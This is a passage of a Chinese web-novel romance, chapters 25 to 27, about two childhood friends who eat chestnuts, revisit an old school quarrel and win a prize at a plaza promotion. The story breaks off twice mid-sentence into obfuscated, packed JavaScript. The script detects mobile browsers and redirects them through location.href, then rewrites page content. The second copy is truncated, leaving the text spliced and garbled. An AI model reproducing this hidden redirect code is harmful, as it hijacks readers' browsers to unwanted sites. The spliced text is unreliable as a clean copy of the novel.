做完这些,回视她:“你说呢?” “你该不会又要说,感动吗?”夏冬意抢在他面前说道。 “你把我想成什么了,我是那种图回报的人么?” 傅亭斯声线依旧还是那么懒洋洋的,好像他真的是一个不求回报,不计较,大公无私的人。 傅亭斯继续剥第二颗栗子。 夏冬意把他剥好的第一颗栗子肉,放进嘴里。 那家糖炒栗子店,是整个江市,糖炒栗子最好吃的店。夏冬意也早已习惯,傅亭斯帮她剥栗子的举动。因为他俩都爱吃这家店的糖炒栗子,有时候他忙的时候,腾不出手来,夏冬意也会这么帮他剥好。 工作这几年,夏冬意没有时间回去过,有时候特别想吃炒河粉,就会想到初中学校那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14374987|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家炒河粉,虽然现在有叫外卖服务,但王大叔炒面店并没有加入线上外卖平台。要吃他家的河粉,还得驱车过去。 江市说大不大,说小一点也不小,从她上班的地方开车到城东,不堵车也要半来个小时,堵一下车就更不用说。夏冬意不高兴自己开车过去,有时候特别想吃,会叫线上的跑腿服务代劳。但总归是要花钱的,她的钱也不是大风刮来的,给资本家做牛做马,才赚来那么点钱。 所以,像今天这样,有傅亭斯免费代劳,夏冬意原本在崩溃边缘徘徊的心情,这会儿神奇般的复活了。 虽然夏冬意家里条件不差,夏家的资产,在整个江市资本圈也算排得上号,但她本人并不共情那些资本家,也许可能有她自己打工人的经历和体会。 所以有时候,她在工作中遇到烦恼,心情巨不爽,也会吐槽夏父或者傅亭斯是“万恶的资本家”。 不过今天她没有那么做。毕竟这位将来的资本家,给她带了这么多好吃的。 还帮她省了一笔钱。 也许是因为炒河粉,也许是因为糯米饼,又也许是许久没有吃到的,记忆中的糖炒栗子的味道,勾起了很多的回忆,像冬日的雪花,漫无边际地纷至沓来。 夏冬意随口说起:“你还记得不,我们初二班主任李老头,就那次不是,我想吃糖炒栗子,后面你翻墙帮我买回来,结果刚好被巡逻的教导处老师逮住了,李老头把你痛骂了一顿,就好像那次之后,你痛改前非,成绩一路遥遥领先。” 在她说话的时候,傅亭斯剥完了第三颗栗子,放进了嘴里,要笑不笑地看了眼她,边吃边说:“这么看来,我还得谢谢你。” “大恩不言谢。”夏冬意说完,咦了声,“你怎么自己剥自己吃的呀?” 傅亭斯气笑:“我不自己吃,难道给白眼狼吃?” 夏冬意哪能不知,他说的白眼狼是她。懒得同他一般见识,继续低头吃她的河粉。 其实她没忘记,那年是个冬天,他扯谎说自己是偷溜出去上网吧的,糖炒栗子被傅亭斯裹在大衣里,才幸免于难。 夏冬意记得,晚自修结束他都还没回来,就在她以为等不到的时候,傅亭斯给她发了条信息,让她去教学楼后面的小花园等他。 她也记得,那个凄清的冬日,少年从黑暗里走出来的神鹰,剑眉星目,挺拔身姿,从大衣里掏出的糖炒栗子还热乎着。 她有一种说不清的感动,在心底澎湃涌动。 却被他一句话打回原形。 他说:“诶,夏咚咚,你这是什么表情?别太感动啊,你要是不小心喜欢上我了,我俩就没法收场了。” 所以他这人,并不是最近才开始自恋的,他的自恋,从小到大,愈发的膨胀。 之后,两人吃着东西,聊了很多过去的趣事,插科打诨,张嘴就是互损,早已习以为常。 但谁都没有提及,那横亘在两人心里的一道旧伤。 应该算得上是旧伤。 因为这件事,很少有隔夜仇的夏冬意,和傅亭斯打了将近半年的冷战。 那次吵架是有史以来最严重的一次。夏冬意在气头上,跟傅亭斯撕破了脸皮,说出了断绝关系,老死不相往来的话。 而事情的起因,来自于一场让夏冬意措手不及的桃花。 两人避而不谈,心照不宣地绕过那件往事,当它从来没有出现过。 然而,不说不代表不存在。 反而让夏冬意心底的疑惑慢慢加深。 虽然事情过去了那么多年,应该顺应那句“往事如风”,她却是连自己也不明白,为什么那么介意,想要弄清楚答案。 这背后,是什么原因推动着她。 也许答案是什么并不重要。 她只想问傅亭斯一句:当年真的是你叫人打了何润宇吗? 但她却怎么也无法,旧事重提了。 25. 小狗不听话 夏冬意惊讶于傅亭斯的反应。 没想到他竟这么在意。 夏冬意当然也没有忘记。 只是对她来说,那是一段混乱和不愿想起的回忆。关于那件往事,留存到现在的只有零星的几段画面。 虽然对于现在的夏冬意来说,并没有那么在意真相到底是什么,但对十几年前的那个小女孩来说,傅亭斯确实给她惹来很大的麻烦。 那个周末回来,不到两天,傅亭斯为了夏冬意揍了全润峰的消息,光速传播开。奇怪的是,并没有太多人指责傅亭斯,舆论的矛头都对准了夏冬意。 饶是夏冬意那时人缘再好,还是有不明缘由的人背后中伤,造谣是她指使傅亭斯那样做的。那些有色眼镜和议论纷纷,都像小刀一样冲她而来。夏冬意既委屈又莫名其妙,等弄清楚情况后,找到了傅亭斯。 傅亭斯却不承认那是他做的。或许那时她应该选择相信他的,毕竟她和傅亭斯认识那么多年。但夏冬意并不这么认为,明明是傅亭斯找的事,那些口诛笔伐却只针对她一人,让她孤军奋战,独自承受这一切。更何况,他已经不是第一次让她陷入这样的境地中,只要和傅亭斯有关的,他们就像是被捆绑在一起,无论多远,都能绕到她身上。 而且他这人,一句话真假掺半,谁知道是真是假。 她只想安安静静上个学而已,夏冬意已经受够了这样的生活,这样的傅亭斯。她甚至想,如果没有和傅亭斯上同一所学校就好了。 那些长久积压的委屈、愤怒和郁闷,一瞬激发了出来。夏冬意朝他吼道:“你能不能低调一点,不要总是给我惹麻烦!” 她的震怒,让傅亭斯不知所措。他动了动唇瓣,想解释,但夏冬意压根不想听,单方面跟他断绝了往来。 依照傅亭斯的脾性,八成忘得一干二净了,哪还能记得这么久。毕竟就连她自己也都已经不在意了。 所以当他郑重其事表明态度的时候,夏冬意因为吃惊而微微的愣了片刻,而后轻轻推了下他的肩膀,笑着道:“干嘛突然那么严肃,没有就没有,过去多久的事了,我也记不清了,对了,我要说的不是这件事,而是——” 说到这里,夏冬意厌恶地皱了皱鼻子,每次她想到讨厌的人事物的时候,都会露出这样的厌恶表情,不用想,傅亭斯也知道她即将要说的话。 果然。 夏冬意说道:“全润峰不知道哪里弄到了我的微信,上次来加我,他还好意思说他的名字,我都快吐了。” 傅亭斯的重点在她的前半句话上,这是让他没想到的,看着她的眼睛,低着声,一字一句问道:“你同意了?” 夏冬意眼睛都瞪圆了:“怎么可能!这狗屎王八蛋,看到他的名字都晦气死了,就是刚刚突然想到这件事,给我恶心了一下,好了好了,不聊这个了,你那糯米饼热乎着么,给我拿一个。” 傅亭斯看她把炒河粉快炫到底了,说道:“晚上吃太多消化不良,留着回家吃吧。” 夏冬意撇撇嘴:“那你还买那么多,买来不就是让我吃的吗,少废话,给我。” 说着,自己伸长手臂去扒拉袋子。 傅亭斯只好把装有塑料手套的包装小袋递给她,然后把整个纸袋捞到夏冬意面前,觑眼她道:“还有肚子吃?” 夏冬意懒得戴手套,她洗了手的,可干净着呢,谁像傅亭斯,洁癖那么重的。她将纸袋揣进怀里,双手抱着,手伸进去,掏出一个饼,咬了一口。还是记忆中熟悉的味道,好吃。傅亭斯见她笑的眉眼弯弯,好像吃得挺开心,他的心情似乎也被她影响了,没来由的,傅亭斯伸手,用拇指指腹擦掉残留在她嘴角的碎屑和油腻。 夏冬意头发散着,有几根不小心吃进嘴巴里,她很随意的,没有注意到。傅亭斯顺便替她勾了出来。 动作自然,没有任何阻隔,像是不加思考下的反应。 但这样的行为,不管以何种方式呈现,都带着些暧昧感。 夏冬意正专心吃着东西,注意力全集中在美食上面,没有注意到对方的举动,只单纯感觉有什么温热的触感在脸上一划而过,带走了她嘴边的残渣和发丝,莫名感到轻松。 两秒后,夏冬意才反应缓慢地僵了僵,与此同时,她还在消化刚刚傅亭斯那个动作。原来,那一触而过的温热感觉,是他的手。 在某些方面,夏冬意确实钝感力十足。虽然生理上已经快了她的大脑一步,做出了反应,但她也只是把这简单认为是自己受不了傅亭斯这种行为,感到鸡皮疙瘩起来,觉得怪恶心的。 就像两个男人之间摸来摸去的感觉。 或许是和傅亭斯相处的过程中,她从来没把自己当成过女孩子来看,把他当成兄弟,哥儿们。但于夏冬意而言,傅亭斯又是她的姐妹淘,闺蜜,女友。 他们可以各自为了需要,性别互换。但从来不会以异性的身份同时出现。 潜意识里,夏冬意就是这么认为的。所以才会产生那样的联想。 这也导致了,她的第一反应不是脸红心跳,或者说,她有意的忽略他这种莫名的行为,但心里又觉得他这种行为很不恰当,很不合适,于是抬头瞪了过去:“干嘛对我动手动脚的?” 毕竟,你见过对自己兄弟做这么暧昧动作的嘛? 长久以来,傅亭斯也称她为“兄弟”“好朋友”“好哥儿们”,他所有的朋友她都认识,他圈子里的人,几乎都知道,傅亭斯有个一块儿长大的好哥儿们,叫夏冬意。两人最亲密的动作,就是勾肩搭背,再细微暧昧的举动是没有的,别说别人看的不对劲,就是夏冬意自己也会觉得很奇怪。当然,她认为傅亭斯也是这么想的。 对于她的反应,傅亭斯没有多余的表情,抽过一张纸巾,擦了擦手,然后欠欠一笑:“是挺恶心的。” 不知道他在说他自己刚才那个行为恶心,还是说留在他指腹上的油腻恶心。 但配合他的动作,夏冬意明显感觉到,很有可能是后者。 “傅亭斯!”夏冬意恼怒大叫了一声,在他微微抬眼之际,一个拳头砸了下去。 …… 夏冬意饱餐一顿,舒服地伸了个懒腰,瘫靠在椅背上,揉着肚子,抬脚踢了踢正玩着手机的傅亭斯。 傅亭斯目光从屏幕上抬起,看着她,不明所以。 夏冬意视线往桌上示意了下:“收吧。” 傅亭斯将手机塞进兜里,嘴角漾开一抹玩味的笑意:“这袋子里还有啊,怎么不吃了?” 一听就不是什么好话。夏冬意动也没动,看着他站起来收拾桌子,随口说了句:“我又不是猪八戒。” 傅亭斯回头扫她一眼,眼神明亮,接着又是莫名一笑。夏冬意心头一震,料到他估计又要说什么讨嫌的话来,刚要张嘴先发制人,不想还是慢了一步。 傅亭斯勾着坏笑,眼里又是惊异,又是欣喜:“还挺会给自己取绰号的,八戒,你好。明天我上街去给你做块铭牌,挂脖子上。” 夏冬意坐不住了,腾得跳起来勾住他脖子往后拽,她倒是不生气,笑眯眯的说道:“骂我是猪,好哇,我今晚就去给你做块狗牌。” 按理说,两人力量悬殊,夏 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傅亭斯习惯了她这突如其来的神经质,这次倒是给面子,没拆她台,轻点下颌:“启奏。” 夏冬意真想打他,但是她的人设好不容易进入状态,不能毁于一旦,于是强忍着,摇头晃脑吟起来:“迟日江山丽,春风花草香。泥融飞燕子,沙暖睡鸳鸯。” 夏冬意说完,身边没有动静。傅亭斯人呢? 这一带没有路灯,周围黑黢黢的,夏冬意停下脚步,转身朝后面看去。 “杜甫的诗,怎么变成你的了?”一个声音,幽幽的,自她的后侧方传来。 夏冬意差点没跳起来大喊一声:“鬼啊!你从哪冒出来的?” 对比她的反应剧烈,傅亭斯显得非常平静,好整以暇看着她:“我刚一直在这看你表演。” 这人简直无聊透顶。夏冬意按了按胸口,平息了一下心跳。本来好好还有吟诗作对的心情,被他吓回了姥姥家。 夏冬意十分不想接这个茬,假装没听见似的到处看了看,远处广场上传来的嘈杂声吸引了她的注意。 由于距离不是很近,看不清楚,因此夏冬意还踮起脚尖,深长脖子往那瞅着。 傅亭斯拍了下她的脑袋,视线也往那去了眼:“看什么呢?” 夏冬意突然想起什么来,伸手够住他的肩膀,借力踮脚看:“那边好像在搞什么活动,你个儿高,能不能看到是在干什么?” 话音刚落。 夏冬意手被傅亭斯牵住,没等她反应过来。 傅亭斯已经拉着她往广场的方向:“走,看看去。” 在他的手握住她时,有那么一个瞬间,夏冬意僵住了似的,浑身都感觉不太对劲,脚像是被定在地面上,她讲不清楚是什么感受。 一种很新鲜的,从未有过的感觉,正从他的手掌,通过她的手,传达到心脏。 见她不动,傅亭斯转头,略带疑惑地看了过来:“怎么不走?不是想去看看那边在干什么吗?” 月光下,他的声音格外温柔。 夏冬意仿佛听到自己的心跳声,连着他们相握的手指,掌心,扑通、扑通、扑通,跳得很剧烈。 她觉得天气有些热。 她觉得自己有点不太正常。 她有点看不懂她自己了。 只是和傅亭斯握了个手,怎么会产生这么奇怪的感觉啊? 转瞬,她按下乱糟糟的思绪,对他摇了摇头。 “没事,走吧。” 她的声音很淡,像是在努力装得淡然。 26. 小狗不听话 广场上每天晚上都会开展很多活动,今天是某家体育用品公司举办的商业推广活动,吸引了晚上过来遛弯的附近居民。 隔老远就听到主持人拿着话筒,激情四射地说着什么,舞台下面掌声、吆喝四起。 夏冬意喜欢热闹,迅速忘掉了莫名产生的异样感,反客为主,拉着傅亭斯奔向那。 这会正在进行互动活动,很多人都拿出手机扫LED屏幕上方的二维码,说是抽奖用的。前面挤满了人,虽然夏冬意身高不算矮,那也是就女性群体而言,把她扔在一群人堆里,她也得举着手机,垫着脚,努力抻长脖子。 更何况,这会儿几十双手同时举着手机,对着同一块屏幕,人群又是那么的拥挤,手挨着手,肩对着肩,不断有人加入进来,挤上来,夏冬意被推来搡去的,热出一身汗来,也没有扫到上面的二维码。 再看一眼旁边的傅亭斯。清清爽爽,气定神闲,不费吹灰之力,扫好了码,正低头看手机上面刮出来的数字。 个子高了不起啊。夏冬意心里不服气的想,但还是非常没有出息的把脑袋探过去看他手机:“怎么样,扫出来多少?” “看什么?”傅亭斯将手机装进兜里,一眼都不让她看到:“你没有手机,不会扫?” “那我不是扫不到吗?”夏冬意郁闷地指了指前面,“那么多人,我手都举的累死,脖子都酸了!” 傅亭斯假装没听见的样子。 夏冬意不想再花费力气了,往他身边又凑了凑,故意挤眉弄眼,压低着声,暗示意味非常明显:“好哥儿们,咱们认识到现在二十多年了吧,你的就是我的,我的……反正咱们感情那么好,而且你对这种也不感兴趣的呀,如果你抽到了的话,奖品可不可以归我?” 人声鼎沸中,周围的环境似乎都成了虚设。傅亭斯侧过头来,朝她微微一笑,夏冬意也仰着头,腆着脸对他笑眯眯的。 “你错了,”傅亭斯脸上笑着,眼里没有一点笑意,语气平静说:“我的就是我的,你的还是你的,我们各凭本事。我就算扔垃圾桶,也不会便宜你。” 他说完,往旁边移了点距离,笑容也消失了。 随之的,夏冬意嘴角也放平了。 狗东西。 她心想,算你狠。 夏冬意才不会因为傅亭斯的这句话,有什么情绪波动,认识这么多年,她还能不清楚他。 傅亭斯嘴巴很损,有时候说话非常刻薄,有时候又觉得这个人对她好的过分,他做事说话完全看自己的心情,根本不理会别人怎么想。夏冬意也早就习惯了。 小的时候也曾有一段时间很郁闷,他为什么总是不能好好说话,但后来她就释怀了,她觉得傅亭斯就是那么一个人,这是没有办法改变的事实。于是也学会了他对待她的方式,对待他。 以前夏冬意从来不会主动拉黑一个人,在她的意识当中,拉黑人是两个人感情最严重的结局,但是每次和傅亭斯吵架,他都会一声不吭,主动拉黑她。等到两个人和好以后,再把她放出来。 经过几次这样的事件之后,夏冬意学会了他那套,在他拉黑她之前,主动拉黑他。 大不了再拉回来呗。 但这样的操作,她只针对傅亭斯一个人,也只敢用在他一个人身上。 夏冬意讲不清楚与傅亭斯的感情。那大概是一种非常复杂的,类似革命感情的,又有点像亲情的,朋友的,可以依赖的,也可以信任的,不论对方做任何事,彼此都能接得住的感情。 夏冬意一直是这样认为的。 但再好的感情,无论多深厚,天下无不散的筵席。夏冬意也深深的认同这一点。 所以她从来不需要傅亭斯对她承诺什么。 承诺这件事,本身就是有一种不信任在里面,夏冬意觉得,她和傅亭斯不会有这样的不信任。认识这么多年,他是个什么样的人,她心里很清楚,所以不管他做什么事,说什么话,她都能原谅。 她认为傅亭斯对她,也是同样的。 对傅亭斯这样的态度,夏冬意永远有办法。她的心情看上去丝毫没有受到波动, “喂,你抱我上去,我要坐在你肩膀上。”夏冬意扯住傅亭斯的手臂,轻晃了晃,动作娴熟,显然不是第一次这么做了。 从她的角度可以看到,傅亭斯抿着唇角,脸上冷冰冰,眼风扫过她触碰的地方,没有动静。 舞台上,主持人正在说:“还没扫的朋友抓紧扫,我们再有五分钟就要结束了,待会儿会请抽到幸运数字的朋友上台……” 夏冬意心里焦急,不耐烦地扯着他,更加用力地摇晃着,“快要结束了,我要扫不到了,拿不到奖品你就赔我一个包吧傅亭斯!” “?” 傅亭斯侧过头,看着她。 “快点啦!”夏冬意索性自己动手,姿势相当熟练地抱着他的脖子,双腿往他腰上一盘,像猴子似的往上蹿着。 傅亭斯额角的青筋腾得冒上来,周围的人朝他们看过来,他懒得搭理那些目光,右手扶在夏冬意腰上,咬着牙将人往下扯:“你爬树呢?下来。” 夏冬意用力抱着他脖子,死都不肯,嘴里嘟囔着:“不要啊,我就是扫一下马上就下来,你不是力气大吗,驮个人能把你压死?而且我那么瘦好不好!” “下不下来?”傅亭斯没耐心。 “一会会儿就好了呀,”夏冬意腾出手来指了指前面一个骑在爸爸脖子上的小女孩,“这里又不只我一个人。”她都能想象出来自己骑在傅亭斯身上有多威风。 “你也三岁是吧?” “我不管。”夏冬意说着又乱动起来,双腿盘踞在他身上,拼命往上蹭。衣料的摩挲声,细细的喘着气,柔软的胳膊贴着他的脖子,腿贴着,身体也挨着,身上的热气熨着,摩擦着,挑战着底线。 傅亭斯额角突突突的,在心里骂了一句操,隔着裤子握住她的腿根,用力将她扯下来,夏冬意像是黏在他身上一样,怎么也不依。 傅亭斯闭了闭眼睛。 算了。 他托着她,将人送到肩膀上坐着。 傅亭斯将近一米九,夏冬意坐他肩膀上,觉得自己变成了一个巨人。充分理解了那句“站在巨人肩膀上”是什么感觉。 上面除了视野空阔,一览无余之外,连空气都很清新,花香味都更浓郁了。 夏冬意舒坦了,开心了,得意洋洋地晃着她那双细腿,在傅亭斯身上耀武扬威,欣赏着别人仰望着她的目光,真好,真好啊。 如果不是为了照顾到傅亭斯的心情,她都想唱起歌来。 傅亭斯捉住她乱动的双腿,眉心皱着,警告道:“一分钟以后自己下来。” 他的手掌禁锢着她纤细的脚腕,夏冬意老实了,默默地掏出手机扫二维码,心里却在说:什么嘛,我又不是第一次干这种事。你叫我下去我就下去,那我岂不是很没面子? 她压根没把傅亭斯的警告放在心里。扫完了二维码依旧没有下去的意思。 小时候,夏冬意经常跟老夏玩爬树的游戏,老夏说她比猴子动作还快,嗖的一下就蹿到老夏脖子上挂着。后来老夏太忙了,没时间陪她玩了,她就把目标转移到了傅亭斯身上。 夏冬意性格跟男孩子一样,大大咧咧的,还有点神经质,读幼儿园小学那会儿,女孩子们之间流行玩那些文文静静的游戏,像过家家或者给给芭比娃娃化妆打扮一类的,夏冬意不爱玩那种,她喜欢跳来跳去,跑来跑去,刺激的,冒险的那类,跟小女孩们玩不太到一起,身边的玩伴只有傅亭斯。 傅亭斯可不止有她一个玩伴,夏冬意又爱黏着他,他走到哪儿都带着夏冬意,傅亭斯的那些伙伴,从小到大,来来去去,每一个,夏冬意都认识。 她那时候最爱玩的游戏就是跳山羊,夏冬意的弹跳力是从小跟着老夏身上爬树练出来的,她跳山羊专挑人过,最喜欢趁傅亭斯不注意,唰唰唰几下越过他头顶。 男孩子发育没有女孩早,那时候傅亭斯个儿还没她高,夏冬意轻轻松松的。后来到了初中以后,傅亭斯猛蹿个儿,到了她无法越过的程度。夏冬意已经好久没玩过这个游戏了。 真怀念那时候啊。 虽然过了这么多年,夏冬意身手还一如从前,想到这里,她不由沾沾自喜起来。自然也就没有注意到主持人念出的一串幸运数字。 抽到数字的三个人都上了台,颁奖的礼仪却有四个。 还剩下一个。 “抽到0195的朋友在吗?请上台来领奖。” “要是再不上台来领奖,就当做是自动弃权了哦。” 主持人连说了好几声。 “夏冬意。”傅亭斯突然喊她。 夏冬意从回忆中抽出思绪来,嘴角还勾着缕淡淡的笑,低头看着他:“嗯?” “你抽到几号?” 夏冬意没多想地掏出手机来,一个数字一个数字报给他。 “019……5。” 她还没反应过来,继续困惑看着他:“有问题吗?” 傅亭斯毫不意外她的迟钝,面上没有多余的表情:“是你。” 夏冬意指了指自己,兴奋一时压不住,唯恐那奖品长腿跑了,高举手大喊:“我我我我!0195是我!!!!” 傅亭斯低下头,空着的那只手遮挡在脸前。 “……” 主持人和周围的群众都注意到了这个无比欢腾兴奋的女生,她正坐在男朋友肩上,比周围人高出一大截,像根柱子一样杵在人群之中,想要让人不注意都很难。 看着这个可爱的女生,主持人不由笑出声来:“0195是你吗?那快点上来吧,你获得是特等奖,是我们公司联名出的一款篮球。” “是我是我!!!”夏冬意大声喊,手举得更高了,身体不由自主往上挺,傅亭斯握着她脚踝,防止她摔下去:“还不下来?” 夏冬意正要跳下去,主持人接着说道:“男朋友也一块儿上来吧。” 傅亭斯并不想上去丢人现眼,尤其是和现在正兴奋无比的夏冬意一起。 夏冬意却拉着他的手,拽着他往前走:“你一个人呆在下面多无聊,陪我上去玩玩嘛。”人群里自动为他们挪出了道。 夏冬意领完奖,顺手把篮球塞进傅亭斯怀里,两人正要下台,主持人并不打算放过他们。拉着夏冬意说道:“刚刚看到你坐在你男朋友……啊不对,”眼尖的主持人注意到了傅亭斯手上的婚戒,笑着改口:“老公肩上,感觉如何?” 这是什么鸟问题。傅亭斯懒得搭理,手伸过去揽夏冬意的腰,准备离开。夏冬意没设防,被他勾进怀里,台下和台上都唏嘘一声,主持人当众嚷道:“看得出小两口很恩爱啊,真是从台下一直秀到台上,可让单身狗们怎么活啊?帅哥虽然名花有主了,估计下面的单身女孩儿和我一样,想让你多在台上待一会儿,方便我问几个问题吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“哇,太让人羡慕了。”主持人忍不住惊叹,“我们最后还有一个小小的要求,这个礼物不能白拿走,让你先生投个蓝,如果投中了,我们再送你们一套全棉的,婴儿周岁套装。我再多问一句,帅哥会打篮球吗?” 夏冬意接道:“他打篮球可厉害了,但是我能提个要求吗?”主持人点头过后,夏冬意继续说道:“能换个礼物吗?” 主持人是何等的人精,马上察觉到了夏冬意欲言又止的背后,马上说道:“你们还没有孩子吗?没关系,那就留着,给未来的孩子,应该快了吧?” 下面还有起哄声嚷着,“快生一个吧,别浪费了这么好的基因。” 灯光下,夏冬意脸微微的红了起来,偷偷用肩膀顶了顶傅亭斯:“你快啊。” 向来反应很快的傅亭斯,这次却没来由地问了她一句:“快什么?” 夏冬意觉得他是故意的,红着脸烦躁地瞪了眼他:“投篮啊,你以为什么?” 奇怪,他怎么心情一下子变得这么好了。 夏冬意郁闷的心想,该不会是看她出糗,他心情转变的这么快吧? 这个死人。 后台工作人员搬着活动篮球架上来,主持人指挥者他们找位置安放,一边问夏冬意:“三分球可以吧?” “三分球也行,远距离也行。”夏冬意随口敷衍。 反正咋投都行,打篮球这点上,夏冬意对傅亭斯有着一种莫名的骄傲和信服感。 听出了夏冬意语气里满满的自信,主持人立马决定,“好,那就放在舞台最左边。” 这会儿,他们人都站在右侧。夏冬意和主持人走到一边,把场地让出来。 傅亭斯抓着球,在指尖轻轻转动,这是他的习惯手势,倒不是为了炫技。 下面如雷般的轰动。他也似乎没听见般的,抓着球,一扬手,没来得及看清,球就这么被轻轻松松地扔进蓝框里。 对,傅亭斯用扔的。毫无技巧可言。 球击准篮靶中心,接传来清脆的声音,接着,稳稳落进篮框的画面,莫名的,让夏冬意生出来一种感觉。 和脑海中瞬间跳跃出来的画面,重叠在一起。 可是却那么的快,一闪而过,来不及抓捕。 这画面包含着无名的落寞、难过和涌上来的窒息感,很淡很淡的一缕,裹覆着夏冬意。 也让她有些分不清现实和过去。 心情在这个当下,莫名其妙地跌落下去。 她努力想去寻找缘由,却怎么也找不到画面。 在她怔忪的时候,傅亭斯已经完成了投篮,拉着夏冬意下台,临走前忽然回身,向主持人问道:“礼物呢?” 篮球还在场地上滚着,他却没有要拿回的意思,反而要走了那套婴儿的周岁装。 主持人却卖起关子,问了他最后一个问题。 “帅哥,球打的那么好,是因为喜欢还是——”故意拖长了调调,意有所指地朝夏冬意看了一眼:“还是因为我们的女主角喜欢?” 夏冬意有些失魂落魄的站着,她在努力地回想着刚才一闪而过的画面,不知为什么,觉得那是对她非常重要的事情. 所以也压根没有注意到主持人的问题,更没有反应过来,傅亭斯深深瞥了眼她后,说的那句话:“我打篮球,是因为以前有人对我说,她喜欢篮球打得好的人。” 在夏冬意还处于懵着的状态,傅亭斯勾着她的后腰,在众人的注视和尖叫声中,离开了人群。 27. 小狗不听话 喧闹声被远远抛到身后,傅亭斯一手提着礼盒,抱着篮球,一手勾着夏冬意的腰,脚步迈得大又疾,夏冬意走得有些踉跄。 她偏侧过头。 傅亭斯抿直着唇角,脸色融在昏昧的夜色下,心情很不悦的样子。 注意到她的目光,他淡淡地斜视过来,开启了不冷不热的嘲讽模式。 “夏冬意,你是傻逼吗,那么多废话干嘛?” 傅亭斯这人就是这样的,他心情不好的时候,嘴巴就特别尖酸,什么话都会说,当然夏冬意自己也承认,在她心情不好的时候,也喜欢骂傅亭斯。 只不过没有傅亭斯这么刻薄而已。 其实夏冬意以前不是这样的,和傅亭斯呆久了,也变的喜欢骂人了,就是她这人骂起人来,也是翻来覆去那么几个词,毫无新意。而且很多时候,她也并不是真的生气,就是拉高嗓音装腔作势一下。 哪里像傅亭斯,他是真的会骂,专戳人肺管子的那种,冷嘲热讽,阴阳怪气,无所不用其极,酸得人直往骨头里钻。 这件事上,夏冬意确实没占到上风。以傅亭斯的脾气,他不想做的事直接当场撂担子走人,奖品不要也就不要,他什么时候在意过这些。今天晚上,他史无前例的耐心爆棚,能忍到现在,真是奇迹了。 而且今晚,她确实挺疯狂的,坐在他肩上的行为也被许可了。夏冬意还有点暗自得意呢。 所以也没太往心里去,并且停下脚步,踮起脚尖去摸傅亭斯的头顶,傅亭斯头往后仰,但因为另一只手腾不出空,还是被她使劲揉了揉脑袋。 夏冬意挂着笑,夸他:“小狗狗,今天表现不错,回去给你做马杀鸡。” 她也就随口胡扯一句。 傅亭斯却当了真:“什么马杀鸡?” “马杀鸡就是……”夏冬意懒得往下说,想到另外一件事,正色起来,喊了他一声:“傅亭斯。” “什么?”傅亭斯看了眼她。 夏冬意抿了抿唇:“我得跟你道个歉。” “道什么歉?”傅亭斯觉得她莫名其妙的,“你把我昨天买的零食都偷吃完了,还是在爸妈面前说我的坏话?” 夏冬意还不容易积攒起来的气氛,被他几句话成功打破,生气喊道:“我是这种人吗?” 傅亭斯笑了,揉她的头:“到底什么事?” “就是……”她看了眼他,“就是那个全什么峰的……” 夏冬意不想叫名字。 这个人实在太讨厌,那时候追她,遭到拒绝,天天在晚自修下课的时候到教室走廊上堵她。告诉老师也不怎么管用,全润峰在学校里是个混子,老师根本管不住他。 夏冬意不敢让傅亭斯知道,傅亭斯的脾气她也知道的,搞不好出点什么事都说不准。害得她一到上晚自修就害怕,每到最后一节课就往教师办公室跑,也严重影响了学习成绩。 夏冬意自以为瞒的很好,傅亭斯怎么可能不知道。他气炸了,扬言非给对方吃点教训不可,被夏冬意拉住,让他答应不再惹事。再后来,就有了那个让他们关系破裂的流言。 “什么?”傅亭斯看住她。 夏冬意垂下眼,声音不自觉放低:“我要跟你说对不起,是我误会了你。” 打冷战的那段时间,夏冬意不是没后悔过。那天太生气了,放了狠话,知道后悔,却还是不肯低下头承认是她的错。 但潜意识里,夏冬意是相信傅亭斯的,他这人虽然有时候说话半真半假,喜欢逗她玩,真真假假难分辨,但碰到正事,他从不屑说假话。他说是,那就是,说不是那肯定不是。 那天她火气上头,又是谣言,又是长期骚扰,夏冬意失去了理智,把所有的愤怒和委屈都发泄在了傅亭斯身上。后来傅亭斯找过她一次,告诉她那天的真实情况,说他没有揍全润峰,而是跟他比了一场球赛,对方输了就不再骚扰夏冬意。 傅亭斯当然想揍他,恨不得弄死他。但他也记得夏冬意的话,不要再惹事了,就选择了这样的文明方式。却想不到对方根本不是人。 但那时候攻击夏冬意的谣言还没有停止,她听不进去他的任何解释。只是无数次的梦到同一个画面:篮球被少年精准地扣进蓝框的。同时伴随着后悔,难过,落寞,许多许多复杂的情绪。 就在刚刚,她突然全都想起来了。 夏冬意这才终于明白,事实上,在她心里,早就相信傅亭斯了。 昏暗的光线下,傅亭斯就那么低垂着眼,望着她。眼底似乎划过了诸多的情绪,过了几秒,他舔舔唇角,喉结轻滚,微微弯了弯唇,对她说道:“我那时也不够成熟,没把事情处理好。都过去了,没事,走吧。” 他的声音像风一样轻轻扫过。 他的手搭上来,拉住夏冬意的手,扬了扬眉:“发什么愣,还不走?” 夏冬意松了口气,跟上了他的脚步。走着走着,她忽然低下头,不自觉低笑了笑。 其实,傅亭斯正经讲话的时候,也还不错。 但是,他这人,怎么就是不肯好好说话呢? — 到了家,夏冬意忙把傅小狗从笼子里放出来。 夏冬意给它取了一个新名字叫傅雪团,还是傅小狗喊的顺口,就又叫回去了。 只不过,傅亭斯对这个名字非常的嫌弃,打死也不喊。还说这名字只有姓是洋气的,夏冬意取名字也这么土。 傅小狗现在还不会定点排尿,得关在笼子里训练一阵。夏冬意怕关在笼子里委屈了它,特地买了一个超豪华双层笼子,还买了超多罐头玩具和各种口味的磨牙棒。白天他们工作忙,没时间回家,傅亭斯专门请了阿姨照顾它。 卖他们宠物用品的店家说,零食罐头 